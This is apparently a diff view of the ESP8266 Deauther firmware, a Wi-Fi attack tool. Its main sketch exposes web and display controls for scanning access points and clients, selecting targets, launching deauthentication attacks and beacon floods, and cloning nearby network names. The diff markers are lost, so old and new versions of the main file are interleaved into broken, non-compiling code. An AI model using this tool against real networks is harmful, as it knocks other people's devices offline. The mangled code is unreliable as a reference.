text-decoration: none;
}
a:hover {
color: #95b8e4;
}
li{
margin: 4px 0;
}
/* Meter */
.meter_background{
background: #42464D;
width: 100%;
min-width: 90px;
}
.meter_forground{
color: #fff;
padding: 4px 0;
/* + one of the colors below
(width will be set by the JS) */
}
.meter_green{
background: #43B581;
}
.meter_orange{
background: #FAA61A;
}
.meter_red{
background: #F04747;
}
.meter_value{
padding-left: 8px;
}
/* Tables */
table {
width: 100%;
margin-bottom: 50px;
}
th, td {
padding: 10px 6px;
text-align: left;
border-bottom: 1px solid #5d5d5d;
}
/* Navigation bar */
nav {
display: block;
padding: 8px 10px;
background: #2f3136;
}
nav a {
color: #bfbfbf;
padding: 0.5em;
display: inline-block;
text-decoration: none;
}
nav a:hover{
background: #36393f;
color:#cecece;
border-radius: 4px;
}
/* Inputs and buttons */
.upload-script, .button, button, input[type="submit"], input[type="reset"], input[type="button"] {
display: inline-block;
height: 38px;
padding: 0 25px;
color:#fff;
text-align: center;
font-size: 11px;
font-weight: 600;
line-height: 38px;
letter-spacing: .1rem;
text-transform: uppercase;
text-decoration: none;
white-space: nowrap;
background: #2f3136;
border-radius: 4px;
border: none;
cursor: pointer;
box-sizing: border-box;
}
button:hover, input[type="submit"]:hover, input[type="reset"]:hover, input[type="button"]:hover {
background: #42444a;
}
/* Forms */
input[type="email"], input[type="number"], input[type="search"], input[type="text"], input[type="tel"], input[type="url"], input[type="password"], textarea, select {
height: 38px;
padding: 6px 10px; /* The 6px vertically centers text on FF, ignored by Webkit */
background-color: #2f3136;
border-radius: 4px;
box-shadow: none;
box-sizing: border-box;
color: #d4d4d4;
border: none;
}
.setting {
width: 100% !important;
max-width: 284px !important;
}
input[type="file"] {
display: none;
}
/* ==== GRID SYSTEM ==== */
.container {
width: 100%;
margin-left: auto;
margin-right: auto;
max-width: 1140px;
}
.row {
position: relative;
width: 100%;
}
.row [class^="col"] {
float: left;
margin: 0.25rem 2%;
min-height: 0.125rem;
}
.col-1,
.col-2,
.col-3,
.col-4,
.col-5,
.col-6,
.col-7,
.col-8,
.col-9,
.col-10,
.col-11,
.col-12 {
width: 96%;
}
.row::after {
content: "";
display: table;
clear: both;
}
.hidden-sm {
display: none;
}
@media only screen and (min-width: 45em) {
.col-1 {
width: 4.33%;
}
.col-2 {
width: 12.66%;
}
.col-3 {
width: 21%;
}
.col-4 {
width: 29.33%;
}
.col-5 {
width: 37.66%;
}
.col-6 {
width: 46%;
}
.col-7 {
width: 54.33%;
}
.col-8 {
width: 62.66%;
}
.col-9 {
width: 71%;
}
.col-10 {
width: 79.33%;
}
.col-11 {
width: 87.66%;
}
.col-12 {
width: 96%;
}
.hidden-sm {
display: block;
}
/* Global */
body {
background: #36393e;
color: #bfbfbf;
font-family: sans-serif;
margin: 0;
}
h1 {
font-size: 1.7rem;
margin-top: 1rem;
background: #2f3136;
color: #bfbfbb;
padding: 0.2em 1em;
border-radius: 3px;
border-left: solid #4974a9 5px;
font-weight: 100;
}
h2 {
font-size: 1.1rem;
margin-top: 1rem;
background: #2f3136;
color: #bfbfbb;
padding: 0.4em 1.8em;
border-radius: 3px;
border-left: solid #4974a9 5px;
font-weight: 100;
}
table{
border-collapse: collapse;
}
.left {
float: left;
}
.right {
float: right;
}
.bold {
font-weight: bold;
}
.red{
color: #F04747;
}
.green{
color:#43B581;
}
.clear {
clear: both;
}
.centered{
text-align: center;
}
.select{
width: 98px !important;
padding: 0 !important;
}
.selected{
background: #4974a9;
}
.status{
width: 120px;
padding-left: 8px;
}
.labelFix {
line-height: 40px;
}
#error {
text-align: center;
color: #fff;
background: #af3535;
border-radius: 5px;
padding: 10px;
margin-top: 10px;
}
#copyright{
font-size: 0.95em;
text-align: center;
margin-top: 3em;
margin-bottom: 3em;
}
/* ERROR */
.hide {
display: none;
}
.show {
display: block !important;
animation-name: fadeIn;
animation-duration: 1s;
}
@keyframes fadeIn {
0% {opacity: 0;}
100% {opacity: 1;}
}
hr {
background: #3e4146;
}
a {
color: #5281bb;
text-decoration: none;
}
a:hover {
color: #95b8e4;
}
li{
margin: 4px 0;
}
/* language selector */
.flag.selected {
color: black;
}
.flag {
line-height: 1.5em;
padding: 0.2em 0.5em;
margin: 0;
font-weight: bold;
cursor: pointer;
}
/* Meter */
.meter_background{
background: #42464D;
width: 100%;
min-width: 90px;
}
.meter_forground{
color: #fff;
padding: 4px 0;
/* + one of the colors below
(width will be set by the JS) */
}
.meter_green{
background: #43B581;
}
.meter_orange{
background: #FAA61A;
}
.meter_red{
background: #F04747;
}
.meter_value{
padding-left: 8px;
}
/* Tables */
table {
width: 100%;
margin-bottom: 50px;
}
th, td {
padding: 10px 6px;
text-align: left;
border-bottom: 1px solid #5d5d5d;
}
/* Navigation bar */
nav {
display: block;
padding: 8px 10px;
background: #2f3136;
}
nav a {
color: #bfbfbf;
padding: 0.5em;
display: inline-block;
text-decoration: none;
}
nav a:hover{
background: #36393f;
color:#cecece;
border-radius: 4px;
}
/* Inputs and buttons */
.upload-script, .button, button, input[type="submit"], input[type="reset"], input[type="button"] {
display: inline-block;
height: 38px;
padding: 0 25px;
color:#fff;
text-align: center;
font-size: 11px;
font-weight: 600;
line-height: 38px;
letter-spacing: .1rem;
text-transform: uppercase;
text-decoration: none;
white-space: nowrap;
background: #2f3136;
border-radius: 4px;
border: none;
cursor: pointer;
box-sizing: border-box;
}
button:hover, input[type="submit"]:hover, input[type="reset"]:hover, input[type="button"]:hover {
background: #42444a;
}
/* Forms */
input[type="email"], input[type="number"], input[type="search"], input[type="text"], input[type="tel"], input[type="url"], input[type="password"], textarea, select {
height: 38px;
padding: 6px 10px; /* The 6px vertically centers text on FF, ignored by Webkit */
background-color: #2f3136;
border-radius: 4px;
box-shadow: none;
box-sizing: border-box;
color: #d4d4d4;
border: none;
}
.setting {
width: 100% !important;
max-width: 284px !important;
}
input[type="file"] {
display: none;
}
/* ==== GRID SYSTEM ==== */
.container {
width: 100%;
margin-left: auto;
margin-right: auto;
max-width: 1140px;
}
.row {
position: relative;
width: 100%;
}
.row [class^="col"] {
float: left;
margin: 0.25rem 2%;
min-height: 0.125rem;
}
.col-1,
.col-2,
.col-3,
.col-4,
.col-5,
.col-6,
.col-7,
.col-8,
.col-9,
.col-10,
.col-11,
.col-12 {
width: 96%;
}
.row::after {
content: "";
display: table;
clear: both;
}
.hidden-sm {
display: none;
}
@media only screen and (min-width: 45em) {
.col-1 {
width: 4.33%;
}
.col-2 {
width: 12.66%;
}
.col-3 {
width: 21%;
}
.col-4 {
width: 29.33%;
}
.col-5 {
width: 37.66%;
}
.col-6 {
width: 46%;
}
.col-7 {
width: 54.33%;
}
.col-8 {
width: 62.66%;
}
.col-9 {
width: 71%;
}
.col-10 {
width: 79.33%;
}
.col-11 {
width: 87.66%;
}
.col-12 {
width: 96%;
}
.hidden-sm {
display: block;
}
}

Binary file not shown.

View File

@ -1,41 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "config.h"
#include <climits> // LONG_MAX
#include <Arduino.h> // Serial
#ifdef ENABLE_DEBUG
#define debug_init()\
DEBUG_PORT.begin(DEBUG_BAUD);\
DEBUG_PORT.setTimeout(LONG_MAX);\
DEBUG_PORT.println();
#define debug(...) DEBUG_PORT.print(__VA_ARGS__)
#define debugln(...) DEBUG_PORT.println(__VA_ARGS__)
#define debugf(...) DEBUG_PORT.printf(__VA_ARGS__)
#define debugF(...) DEBUG_PORT.print(F(__VA_ARGS__))
#define debuglnF(...) DEBUG_PORT.println(F(__VA_ARGS__))
#define debug_available() DEBUG_PORT.available()
#define debug_read() DEBUG_PORT.read()
#define debug_peek() DEBUG_PORT.peek()
#else /* ifdef ENABLE_DEBUG */
#define debug_init() 0
#define debug(...) 0
#define debugln(...) 0
#define debugf(...) 0
#define debugF(...) 0
#define debuglnF(...) 0
#define debug_available() 0
#define debug_read() 0
#define debug_peek() 0
#endif /* ifdef ENABLE_DEBUG */

View File

@ -1,196 +1,652 @@
/* =====================
This software is licensed under the MIT License:
https://github.com/spacehuhntech/esp8266_deauther
===================== */
/*
===========================================
Copyright (c) 2017 Stefan Kremser
github.com/spacehuhn
===========================================
*/
// Including some libraries we need //
#include <Arduino.h>
#include <ESP8266WiFi.h>
#include <ESP8266WebServer.h>
#include <FS.h>
// Settings //
#define USE_DISPLAY /* <-- uncomment that if you want to use the display */
#define resetPin 4 /* <-- comment out or change if you need GPIO 4 for other purposes */
#define USE_LED16 /* <-- for the Pocket ESP8266 which has a LED on GPIO 16 to indicate if it's running */
// Including everything for the OLED //
#ifdef USE_DISPLAY
#include <Wire.h>
//include the library you need
#include "SSD1306.h"
#include "SH1106.h"
//create display(Adr, SDA-pin, SCL-pin)
//SSD1306 display(0x3c, 5, 4); //GPIO 5 = D1, GPIO 4 = D2
SH1106 display(0x3c, 5, 4);
#include "screensaver.h"
//button pins
#define upBtn 12 //GPIO 12 = D6
#define downBtn 13 //GPIO 13 = D7
#define selectBtn 14 //GPIO 14 = D5
#define displayBtn 0 //GPIO 0 = FLASH BUTTON
//render settings
#define fontSize 8
#define rowsPerSite 8
int rows = 4;
int curRow = 0;
int sites = 1;
int curSite = 1;
int lrow = 0;
int menu = 0; //0 = Main Menu, 1 = APs, 2 = Stations, 3 = Attacks, 4 = Monitor
bool canBtnPress = true;
int buttonPressed = 0; //0 = UP, 1 = DOWN, 2 = SELECT, 3 = DISPLAY
bool displayOn = true;
#endif
// More Includes! //
extern "C" {
// Please follow this tutorial:
// https://github.com/spacehuhn/esp8266_deauther/wiki/Installation#compiling-using-arduino-ide
// And be sure to have the right board selected
#include "user_interface.h"
}
#include "EEPROMHelper.h"
ESP8266WebServer server(80);
#include "src/ArduinoJson-v5.13.5/ArduinoJson.h"
#if ARDUINOJSON_VERSION_MAJOR != 5
// The software was build using ArduinoJson v5.x
// version 6 is still in beta at the time of writing
// go to tools -> manage libraries, search for ArduinoJSON and install version 5
#error Please upgrade/downgrade ArduinoJSON library to version 5!
#endif // if ARDUINOJSON_VERSION_MAJOR != 5
#include "oui.h"
#include "language.h"
#include "functions.h"
#include "settings.h"
#include "Names.h"
#include "SSIDs.h"
#include "Scan.h"
#include <EEPROM.h>
#include "data.h"
#include "NameList.h"
#include "APScan.h"
#include "ClientScan.h"
#include "Attack.h"
#include "CLI.h"
#include "DisplayUI.h"
#include "A_config.h"
#include "Settings.h"
#include "SSIDList.h"
#include "led.h"
/* ========== DEBUG ========== */
const bool debug = true;
/* ========== DEBUG ========== */
// Run-Time Variables //
Names names;
SSIDs ssids;
Accesspoints accesspoints;
Stations stations;
Scan scan;
String wifiMode = "";
String attackMode_deauth = "";
String attackMode_beacon = "";
String scanMode = "SCAN";
bool warning = true;
NameList nameList;
APScan apScan;
ClientScan clientScan;
Attack attack;
CLI cli;
DisplayUI displayUI;
Settings settings;
SSIDList ssidList;
simplebutton::Button* resetButton;
void sniffer(uint8_t *buf, uint16_t len) {
clientScan.packetSniffer(buf, len);
}
#include "wifi.h"
#ifdef USE_DISPLAY
void drawInterface() {
if(displayOn){
display.clear();
uint32_t autosaveTime = 0;
uint32_t currentTime = 0;
int _lrow = 0;
for (int i = curSite * rowsPerSite - rowsPerSite; i < curSite * rowsPerSite; i++) {
if (i == 0) display.drawString(3, i * fontSize, "-> WiFi " + wifiMode);
else if (i == 1) display.drawString(3, i * fontSize, "-> " + scanMode);
else if (i == 2) display.drawString(3, i * fontSize, "-> " + attackMode_deauth + " deauth");
else if (i == 3) display.drawString(3, i * fontSize, "-> " + attackMode_beacon + " beacon flood");
else if (i - 4 < apScan.results) {
display.drawString(4, _lrow * fontSize, apScan.getAPName(i - 4));
if (apScan.isSelected(i - 4)) {
display.drawVerticalLine(1, _lrow * fontSize, fontSize);
display.drawVerticalLine(2, _lrow * fontSize, fontSize);
}
}
if (_lrow == lrow) display.drawVerticalLine(0, _lrow * fontSize, fontSize);
_lrow++;
}
display.display();
}
}
#endif
bool booted = false;
void startWifi() {
Serial.println("\nStarting WiFi AP:");
WiFi.mode(WIFI_STA);
wifi_set_promiscuous_rx_cb(sniffer);
WiFi.softAP((const char*)settings.ssid.c_str(), (const char*)settings.password.c_str(), settings.apChannel, settings.ssidHidden); //for an open network without a password change to: WiFi.softAP(ssid);
Serial.println("SSID : '" + settings.ssid+"'");
Serial.println("Password : '" + settings.password+"'");
Serial.println("-----------------------------------------------");
if (settings.password.length() < 8) Serial.println("WARNING: password must have at least 8 characters!");
if (settings.ssid.length() < 1 || settings.ssid.length() > 32) Serial.println("WARNING: SSID length must be between 1 and 32 characters!");
wifiMode = "ON";
}
void stopWifi() {
Serial.println("stopping WiFi AP");
Serial.println("-----------------------------------------------");
WiFi.disconnect();
wifi_set_opmode(STATION_MODE);
wifiMode = "OFF";
}
void load404() {
if(loadFromFlash(server.uri())) return;
sendSPIFFSFile("/error.html", "text/html");
}
void startWiFi(bool start) {
if (start) startWifi();
else stopWifi();
clientScan.clearList();
}
//==========AP-Scan==========
void startAPScan() {
scanMode = "scanning...";
#ifdef USE_DISPLAY
drawInterface();
#endif
if (apScan.start()) {
#ifdef USE_DISPLAY
apScan.sort();
rows = 4;
rows += apScan.results;
sites = rows / rowsPerSite;
if (rows % rowsPerSite > 0) sites++;
#endif
server.send ( 200, "text/json", "true");
attack.stopAll();
scanMode = "SCAN";
}
}
void sendAPResults() {
apScan.sendResults();
}
void selectAP() {
if (server.hasArg("num")) {
apScan.select(server.arg("num").toInt());
server.send( 200, "text/json", "true");
attack.stopAll();
}
}
//==========Client-Scan==========
void startClientScan() {
if (server.hasArg("time") && apScan.getFirstTarget() > -1 && !clientScan.sniffing) {
server.send(200, "text/json", "true");
clientScan.start(server.arg("time").toInt());
attack.stopAll();
} else server.send( 200, "text/json", "Error: no selected access point");
}
void sendClientResults() {
clientScan.send();
}
void sendClientScanTime() {
server.send( 200, "text/json", (String)settings.clientScanTime );
}
void selectClient() {
if (server.hasArg("num")) {
clientScan.select(server.arg("num").toInt());
attack.stop(0);
server.send( 200, "text/json", "true");
}
}
void addClientFromList(){
if(server.hasArg("num")) {
int _num = server.arg("num").toInt();
clientScan.add(nameList.getMac(_num));
server.send( 200, "text/json", "true");
}else server.send( 200, "text/json", "false");
}
void setClientName() {
if (server.hasArg("id") && server.hasArg("name")) {
if(server.arg("name").length()>0){
nameList.add(clientScan.getClientMac(server.arg("id").toInt()), server.arg("name"));
server.send( 200, "text/json", "true");
}
else server.send( 200, "text/json", "false");
}
}
void deleteName() {
if (server.hasArg("num")) {
int _num = server.arg("num").toInt();
nameList.remove(_num);
server.send( 200, "text/json", "true");
}else server.send( 200, "text/json", "false");
}
void clearNameList() {
nameList.clear();
server.send( 200, "text/json", "true" );
}
void editClientName() {
if (server.hasArg("id") && server.hasArg("name")) {
nameList.edit(server.arg("id").toInt(), server.arg("name"));
server.send( 200, "text/json", "true");
}else server.send( 200, "text/json", "false");
}
void addClient(){
if(server.hasArg("mac") && server.hasArg("name")){
String macStr = server.arg("mac");
macStr.replace(":","");
Serial.println("add "+macStr+" - "+server.arg("name"));
if(macStr.length() < 12 || macStr.length() > 12) server.send( 200, "text/json", "false");
else{
Mac _newClient;
for(int i=0;i<6;i++){
const char* val = macStr.substring(i*2,i*2+2).c_str();
uint8_t valByte = strtoul(val, NULL, 16);
Serial.print(valByte,HEX);
Serial.print(":");
_newClient.setAt(valByte,i);
}
Serial.println();
nameList.add(_newClient,server.arg("name"));
server.send( 200, "text/json", "true");
}
}
}
//==========Attack==========
void sendAttackInfo() {
attack.sendResults();
}
void startAttack() {
if (server.hasArg("num")) {
int _attackNum = server.arg("num").toInt();
if (apScan.getFirstTarget() > -1 || _attackNum == 1 || _attackNum == 2) {
attack.start(server.arg("num").toInt());
server.send ( 200, "text/json", "true");
} else server.send( 200, "text/json", "false");
}
}
void addSSID() {
if(server.hasArg("ssid") && server.hasArg("num") && server.hasArg("enc")){
int num = server.arg("num").toInt();
if(num > 0){
ssidList.addClone(server.arg("ssid"),num, server.arg("enc") == "true");
}else{
ssidList.add(server.arg("ssid"), server.arg("enc") == "true" || server.arg("enc") == "1");
}
attack.ssidChange = true;
server.send( 200, "text/json", "true");
}else server.send( 200, "text/json", "false");
}
void cloneSelected(){
if(apScan.selectedSum > 0){
int clonesPerSSID = 48/apScan.selectedSum;
ssidList.clear();
for(int i=0;i<apScan.results;i++){
if(apScan.isSelected(i)){
ssidList.addClone(apScan.getAPName(i),clonesPerSSID, apScan.getAPEncryption(i) != "none");
}
}
}
attack.ssidChange = true;
server.send( 200, "text/json", "true");
}
void deleteSSID() {
ssidList.remove(server.arg("num").toInt());
attack.ssidChange = true;
server.send( 200, "text/json", "true");
}
void randomSSID() {
ssidList._random();
attack.ssidChange = true;
server.send( 200, "text/json", "true");
}
void clearSSID() {
ssidList.clear();
attack.ssidChange = true;
server.send( 200, "text/json", "true");
}
void resetSSID() {
ssidList.load();
attack.ssidChange = true;
server.send( 200, "text/json", "true");
}
void saveSSID() {
ssidList.save();
server.send( 200, "text/json", "true");
}
void restartESP() {
server.send( 200, "text/json", "true");
ESP.reset();
}
void enableRandom(){
attack.changeRandom(server.arg("interval").toInt());
server.send( 200, "text/json", "true");
}
//==========Settings==========
void getSettings() {
settings.send();
}
void saveSettings() {
if (server.hasArg("ssid")) settings.ssid = server.arg("ssid");
if (server.hasArg("ssidHidden")) {
if (server.arg("ssidHidden") == "false") settings.ssidHidden = false;
else settings.ssidHidden = true;
}
if (server.hasArg("password")) settings.password = server.arg("password");
if (server.hasArg("apChannel")) {
if (server.arg("apChannel").toInt() >= 1 && server.arg("apChannel").toInt() <= 14) {
settings.apChannel = server.arg("apChannel").toInt();
}
}
if (server.hasArg("macAp")) {
String macStr = server.arg("macAp");
macStr.replace(":","");
Mac tempMac;
if(macStr.length() == 12){
for(int i=0;i<6;i++){
const char* val = macStr.substring(i*2,i*2+2).c_str();
uint8_t valByte = strtoul(val, NULL, 16);
tempMac.setAt(valByte,i);
}
if(tempMac.valid()) settings.macAP.set(tempMac);
} else if(macStr.length() == 0){
settings.macAP.set(settings.defaultMacAP);
}
}
if (server.hasArg("randMacAp")) {
if (server.arg("randMacAp") == "false") settings.isMacAPRand = false;
else settings.isMacAPRand = true;
}
if (server.hasArg("scanTime")) settings.clientScanTime = server.arg("scanTime").toInt();
if (server.hasArg("timeout")) settings.attackTimeout = server.arg("timeout").toInt();
if (server.hasArg("deauthReason")) settings.deauthReason = server.arg("deauthReason").toInt();
if (server.hasArg("packetRate")) settings.attackPacketRate = server.arg("packetRate").toInt();
if (server.hasArg("apScanHidden")) {
if (server.arg("apScanHidden") == "false") settings.apScanHidden = false;
else settings.apScanHidden = true;
}
if (server.hasArg("beaconInterval")) {
if (server.arg("beaconInterval") == "false") settings.beaconInterval = false;
else settings.beaconInterval = true;
}
if (server.hasArg("useLed")) {
if (server.arg("useLed") == "false") settings.useLed = false;
else settings.useLed = true;
attack.refreshLed();
}
if (server.hasArg("channelHop")) {
if (server.arg("channelHop") == "false") settings.channelHop = false;
else settings.channelHop = true;
}
if (server.hasArg("multiAPs")) {
if (server.arg("multiAPs") == "false") settings.multiAPs = false;
else settings.multiAPs = true;
}
if (server.hasArg("multiAttacks")) {
if (server.arg("multiAttacks") == "false") settings.multiAttacks = false;
else settings.multiAttacks = true;
}
if (server.hasArg("ledPin")) settings.setLedPin(server.arg("ledPin").toInt());
if(server.hasArg("macInterval")) settings.macInterval = server.arg("macInterval").toInt();
settings.save();
server.send( 200, "text/json", "true" );
}
void resetSettings() {
settings.reset();
server.send( 200, "text/json", "true" );
}
void setup() {
// for random generator
randomSeed(os_random());
// start serial
Serial.begin(115200);
Serial.println();
randomSeed(os_random());
#ifdef USE_LED16
pinMode(16, OUTPUT);
digitalWrite(16, LOW);
#endif
Serial.begin(115200);
attackMode_deauth = "START";
attackMode_beacon = "START";
// start SPIFFS
prnt(SETUP_MOUNT_SPIFFS);
// bool spiffsError = !LittleFS.begin();
LittleFS.begin();
prntln(/*spiffsError ? SETUP_ERROR : */ SETUP_OK);
EEPROM.begin(4096);
SPIFFS.begin();
// Start EEPROM
EEPROMHelper::begin(EEPROM_SIZE);
settings.load();
if (debug) settings.info();
settings.syncMacInterface();
nameList.load();
ssidList.load();
#ifdef FORMAT_SPIFFS
prnt(SETUP_FORMAT_SPIFFS);
LittleFS.format();
prntln(SETUP_OK);
#endif // ifdef FORMAT_SPIFFS
attack.refreshLed();
#ifdef FORMAT_EEPROM
prnt(SETUP_FORMAT_EEPROM);
EEPROMHelper::format(EEPROM_SIZE);
prntln(SETUP_OK);
#endif // ifdef FORMAT_EEPROM
delay(500); // Prevent bssid leak
// Format SPIFFS when in boot-loop
if (/*spiffsError || */ !EEPROMHelper::checkBootNum(BOOT_COUNTER_ADDR)) {
prnt(SETUP_FORMAT_SPIFFS);
LittleFS.format();
prntln(SETUP_OK);
startWifi();
attack.stopAll();
attack.generate();
prnt(SETUP_FORMAT_EEPROM);
EEPROMHelper::format(EEPROM_SIZE);
prntln(SETUP_OK);
/* ========== Web Server ========== */
EEPROMHelper::resetBootNum(BOOT_COUNTER_ADDR);
}
/* HTML, css, js, json, juste serve everything on the flash */
server.onNotFound(load404);
// get time
currentTime = millis();
/* JSON */
server.on("/APScanResults.json", sendAPResults);
server.on("/APScan.json", startAPScan);
server.on("/APSelect.json", selectAP);
server.on("/ClientScan.json", startClientScan);
server.on("/ClientScanResults.json", sendClientResults);
server.on("/ClientScanTime.json", sendClientScanTime);
server.on("/clientSelect.json", selectClient);
server.on("/setName.json", setClientName);
server.on("/addClientFromList.json", addClientFromList);
server.on("/attackInfo.json", sendAttackInfo);
server.on("/attackStart.json", startAttack);
server.on("/settings.json", getSettings);
server.on("/settingsSave.json", saveSettings);
server.on("/settingsReset.json", resetSettings);
server.on("/deleteName.json", deleteName);
server.on("/clearNameList.json", clearNameList);
server.on("/editNameList.json", editClientName);
server.on("/addSSID.json", addSSID);
server.on("/cloneSelected.json", cloneSelected);
server.on("/deleteSSID.json", deleteSSID);
server.on("/randomSSID.json", randomSSID);
server.on("/clearSSID.json", clearSSID);
server.on("/resetSSID.json", resetSSID);
server.on("/saveSSID.json", saveSSID);
server.on("/restartESP.json", restartESP);
server.on("/addClient.json",addClient);
server.on("/enableRandom.json",enableRandom);
// load settings
#ifndef RESET_SETTINGS
settings::load();
#else // ifndef RESET_SETTINGS
settings::reset();
settings::save();
#endif // ifndef RESET_SETTINGS
server.begin();
wifi::begin();
wifi_set_promiscuous_rx_cb([](uint8_t* buf, uint16_t len) {
scan.sniffer(buf, len);
});
#ifdef USE_DISPLAY
display.init();
display.flipScreenVertically();
pinMode(upBtn, INPUT_PULLUP);
pinMode(downBtn, INPUT_PULLUP);
pinMode(selectBtn, INPUT_PULLUP);
if(displayBtn == 0) pinMode(displayBtn, INPUT);
else pinMode(displayBtn, INPUT_PULLUP);
// start display
if (settings::getDisplaySettings().enabled) {
displayUI.setup();
displayUI.mode = DISPLAY_MODE::INTRO;
}
display.clear();
display.setFont(ArialMT_Plain_16);
display.drawString(0, 0, "ESP8266");
display.setFont(ArialMT_Plain_24);
display.drawString(0, 16, "Deauther");
display.setFont(ArialMT_Plain_10);
display.drawString(100, 28, "v");
display.setFont(ArialMT_Plain_16);
display.drawString(104, 24, "1.6");
display.setFont(ArialMT_Plain_10);
display.drawString(0, 40, "Copyright (c) 2017");
display.drawString(0, 50, "Stefan Kremser");
display.display();
// load everything else
names.load();
ssids.load();
cli.load();
display.setFont(Roboto_Mono_8);
delay(1600);
#endif
// create scan.json
scan.setup();
#ifdef resetPin
pinMode(resetPin, INPUT_PULLUP);
if(digitalRead(resetPin) == LOW) settings.reset();
#endif
// dis/enable serial command interface
if (settings::getCLISettings().enabled) {
cli.enable();
} else {
prntln(SETUP_SERIAL_WARNING);
Serial.flush();
Serial.end();
}
// start access point/web interface
if (settings::getWebSettings().enabled) wifi::startAP();
// STARTED
prntln(SETUP_STARTED);
// version
prntln(DEAUTHER_VERSION);
// setup LED
led::setup();
// setup reset button
resetButton = new ButtonPullup(RESET_BUTTON);
if(debug){
Serial.println("\nStarting...\n");
#ifndef USE_DISPLAY
delay(1600);
#endif
}
}
void loop() {
currentTime = millis();
if (clientScan.sniffing) {
if (clientScan.stop()) startWifi();
} else {
server.handleClient();
attack.run();
}
led::update(); // update LED color
wifi::update(); // manage access point
attack.update(); // run attacks
displayUI.update();
cli.update(); // read and run serial input
scan.update(); // run scan
ssids.update(); // run random mode, if enabled
// auto-save
if (settings::getAutosaveSettings().enabled
&& (currentTime - autosaveTime > settings::getAutosaveSettings().time)) {
autosaveTime = currentTime;
names.save(false);
ssids.save(false);
settings::save(false);
if(Serial.available()){
String input = Serial.readString();
if(input == "reset" || input == "reset\n" || input == "reset\r" || input == "reset\r\n"){
settings.reset();
}
}
if (!booted) {
booted = true;
EEPROMHelper::resetBootNum(BOOT_COUNTER_ADDR);
#ifdef HIGHLIGHT_LED
displayUI.setupLED();
#endif // ifdef HIGHLIGHT_LED
#ifdef USE_DISPLAY
if (digitalRead(upBtn) == LOW || digitalRead(downBtn) == LOW || digitalRead(selectBtn) == LOW || digitalRead(displayBtn) == LOW){
if(canBtnPress){
if(digitalRead(upBtn) == LOW) buttonPressed = 0;
else if(digitalRead(downBtn) == LOW) buttonPressed = 1;
else if(digitalRead(selectBtn) == LOW) buttonPressed = 2;
else if(digitalRead(displayBtn) == LOW) buttonPressed = 3;
canBtnPress = false;
}
}else if(!canBtnPress){
canBtnPress = true;
// ===== UP =====
if (buttonPressed == 0 && curRow > 0) {
curRow--;
if (lrow - 1 < 0) {
lrow = rowsPerSite - 1;
curSite--;
} else lrow--;
// ===== DOWN =====
} else if (buttonPressed == 1 && curRow < rows - 1) {
curRow++;
if (lrow + 1 >= rowsPerSite) {
lrow = 0;
curSite++;
} else lrow++;
// ===== SELECT =====
} else if (buttonPressed == 2) {
// ===== WIFI on/off =====
if (curRow == 0) {
if (wifiMode == "ON") stopWifi();
else startWifi();
// ===== scan for APs =====
} else if (curRow == 1) {
startAPScan();
drawInterface();
// ===== start,stop deauth attack =====
} else if (curRow == 2) {
if (attackMode_deauth == "START" && apScan.getFirstTarget() > -1) attack.start(0);
else if (attackMode_deauth == "STOP") attack.stop(0);
resetButton->update();
if (resetButton->holding(5000)) {
led::setMode(LED_MODE::SCAN);
DISPLAY_MODE _mode = displayUI.mode;
displayUI.mode = DISPLAY_MODE::RESETTING;
displayUI.update(true);
// ===== start,stop beacon attack =====
} else if (curRow == 3) {
if (attackMode_beacon == "START"){
settings::reset();
settings::save(true);
//clone all selected SSIDs
if(apScan.selectedSum > 0){
int clonesPerSSID = 48/apScan.selectedSum;
ssidList.clear();
for(int i=0;i<apScan.results;i++){
if(apScan.isSelected(i)){
ssidList.addClone(apScan.getAPName(i),clonesPerSSID, apScan.getAPEncryption(i) != "none");
}
}
}
attack.ssidChange = true;
delay(2000);
led::setMode(LED_MODE::IDLE);
displayUI.mode = _mode;
//start attack
attack.start(1);
}
else if (attackMode_beacon == "STOP") attack.stop(1);
}
// ===== select APs =====
else if (curRow >= 4) {
attack.stop(0);
apScan.select(curRow - 4);
}
}
// ===== DISPLAY =====
else if (buttonPressed == 3) {
displayOn = !displayOn;
display.clear();
display.display();
}
screensavertimer = 0;
lastactivity = millis();
} else {
screensavertimer = millis() - lastactivity;
}
if(screensavertimer>saveeafter) {
drawScreenSaver();
} else {
drawInterface();
}
#endif
}

View File

@ -1,831 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "Arduino.h"
#include <LittleFS.h>
extern "C" {
#include "user_interface.h"
}
#include "src/ArduinoJson-v5.13.5/ArduinoJson.h"
/*
Here is a collection of useful functions and variables.
They are used globally via an 'extern' reference in every class.
Making everything static will lead to problems with the Arduino ESP8266 2.0.0 SDK,
there were some fixed in later version but we need to use the old version for injecting deauth packets.
*/
uint8_t broadcast[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };
uint8_t wifi_channel = 1;
// ===== UTF8 FIX ===== //
String escape(String str) {
str.replace(String(BACKSLASH), String(BACKSLASH) + String(BACKSLASH));
str.replace(String(DOUBLEQUOTES), String(BACKSLASH) + String(DOUBLEQUOTES));
return str;
}
bool ascii(char c) {
return c >= 0 && c <= 127;
}
bool printableAscii(char c) {
return c >= 32 && c <= 126;
}
bool getBit(uint8_t b, uint8_t n) {
return (b >> n) % 2 != 0;
}
uint8_t utf8(uint8_t c) {
if (!getBit(c, 7)) return 1;
if (getBit(c, 7) && getBit(c, 6) && !getBit(c, 5)) return 2;
if (getBit(c, 7) && getBit(c, 6) && getBit(c, 5) && !getBit(c, 4)) return 3;
if (getBit(c, 7) && getBit(c, 6) && getBit(c, 5) && getBit(c, 4) && !getBit(c, 3)) return 4;
return 0;
}
bool utf8Part(uint8_t c) {
return getBit(c, 7) && !getBit(c, 6);
}
String fixUtf8(String str) {
int size = str.length();
String result = String();
char c;
uint8_t len;
bool ok;
for (int i = 0; i < size; i++) {
c = str.charAt(i); // get character
len = utf8(c); // get utf8 char len
if (len <= 1) {
result += c; // when 1 byte char, add it :)
}
else if (i + len > size) { // when char bigger than remaining string, end loop
i = size + 1;
}
else {
ok = true;
for (int j = 1; j < len && ok; j++) {
ok = utf8Part(str.charAt(i + j)); // if following char is compliant or not
}
if (ok) result += c; // everything is ok, add char and continue
else { // utf8 char is broken
for (int j = 1; j < len; j++) { // go through the next bytes
c = str.charAt(i + j);
if (utf8(c) == 1) result += c; // when byte is ascii, add it :)
}
i += len - 1; // skip utf8 char because we already managed it
}
}
}
return result;
}
String removeUtf8(String str) {
str = fixUtf8(str); // fix it in case a utf char is broken
int size = str.length();
String result = String();
char c;
